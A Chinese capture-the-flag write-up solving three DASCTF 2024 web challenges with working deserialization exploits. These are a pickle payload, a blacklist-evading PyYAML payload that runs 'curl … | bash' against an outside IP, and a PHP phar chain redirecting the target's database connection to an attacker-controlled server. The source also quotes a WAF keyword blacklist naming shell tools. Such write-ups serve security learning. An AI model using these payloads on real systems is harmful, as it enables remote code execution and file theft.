DASCTF 2024最后一战
const_python
很直白的pickle反序列化,直接打
import os
import builtins
import pickle
import base64
import subprocess
class A():def __reduce__(self):return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:pickle.dump(a, f)
print(base64.b64encode(b))
yaml_matser
import os
import re
import yaml
from flask import Flask, request, jsonify, render_templateapp = Flask(__name__, template_folder='templates')UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'sleep', 'setstate','command','static','templates','session','&','globals','builtins''run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request','error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}input_str_lower = str(input_str).lower()for term in blacklist_terms:if term in input_str_lower:print(f"Found blacklisted term: {term}")return Truereturn Falsefile_pattern = re.compile(r'.*\.yaml$')def is_yaml_file(filename):return bool(file_pattern.match(filename))@app.route('/')
def index():return '''Welcome to DASCTF X 0psu3<br>Here is the challenge <a href="/upload">Upload file</a><br>Enjoy it <a href="/Yam1">Yam1</a>'''@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':try:uploaded_file = request.files['file']if uploaded_file and is_yaml_file(uploaded_file.filename):file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)uploaded_file.save(file_path)return jsonify({"message": "uploaded successfully"}), 200else:return jsonify({"error": "Just YAML file"}), 400except Exception as e:return jsonify({"error": str(e)}), 500return render_template('upload.html')@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():filename = request.args.get('filename','')if filename:with open(f'uploads/{filename}.yaml', 'rb') as f:file_content = f.read()if not waf(file_content):test = yaml.load(file_content)print(test)return 'welcome'if __name__ == '__main__':app.run()
看到一个yaml反序列化,直接绕,bytes命令执行
exp = '__import__("os").system("curl http://81.70.252.29/1.txt|bash")'print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
!!python/object/new:type
args:- exp- !!python/tuple []- {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(29)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[105]]or[i]in[[26]]and[j]in[[100]]or[i]in[[27]]and[j]in[[34]]or[i]in[[28]]and[j]in[[41]]]))"
strange_php
审会源码
首先看到welcome.php中
这里看可以删除留言,而且message可控,跟进deleteMessage函数
这里一眼顶真,可以触发phar,加上我们可以自定义留言,也就是可控上传文件的内容,所以很明显要打phar反序列化
我们看到UserMessage.php
这里有个__set魔术方法,如果filePath可控的话,就可以实现任意文件读取
那么怎么触发__set呢?
看到PDO_connect.php中
这里是可控的,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152
,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。
接着我们看到User.php
这里可以调用到pdo中的get_connection,那么这里就是入口了
我们可以让靶机连我们远程的数据库,来自定义filePath的值,在自己vps上新建个数据库和表
链子如下:
<?phpclass User{private $conn;private $table = 'users';public $id;public $username="UserMessage";private $password="aaaa";public $created_at;public function __construct() { $this->conn = new PDO_connect();;}}class PDO_connect{private $pdo;public $con_options = array( "dsn"=>"mysql:host=81.70.252.29:3306;dbname=users;charset=utf8", 'host'=>'81.70.252.29', 'port'=>'3306', 'user'=>'joker', 'password'=>'joker', 'charset'=>'utf8', 'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));public $smt;}$a=new User();$phar = new Phar("ppppp.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("happy.txt", 'happy'); $phar->setMetadata($a);$phar->stopBuffering();$file_contents = file_get_contents("ppppp.phar");echo urlencode(base64_encode($file_contents));
写入,然后删除
成功触发phar,直接访问log/0bc7be346d4df269543565b6b7cd231a.txt读到flag